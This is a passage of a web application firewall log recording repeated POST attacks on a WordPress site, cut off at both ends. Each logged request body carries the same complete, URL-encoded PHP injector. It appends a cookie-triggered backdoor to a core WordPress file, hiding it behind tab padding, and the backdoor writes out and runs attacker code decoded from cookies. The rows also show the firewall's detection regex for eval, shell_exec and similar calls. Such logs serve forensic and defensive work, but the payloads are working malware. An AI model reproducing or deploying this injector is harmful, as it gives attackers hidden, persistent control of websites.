hp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4290\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD3tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nCx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:35","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oe:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:4290\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo2HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\noe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:37","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-length:4290\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJRtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nXH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:39","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B90%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-34%252B38%255D%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524val%2529%2520%257B%2520%2524tkn%2520%253D%2520%2524_COOKIE%253B%2520%2524bind%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e11fe916%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524bind%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524tkn%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524bind%2529%2529%2520%257B%2520%2524holder%2520%253D%2520fopen%2528%2524bind%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524holder%252C%2520%2524sym%2529%253B%2520fclose%2528%2524holder%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524bind%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524bind%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524pset%2520%253D%2520%2522907b915e6376459daf624cf5bb151c2c%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524tkn%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","P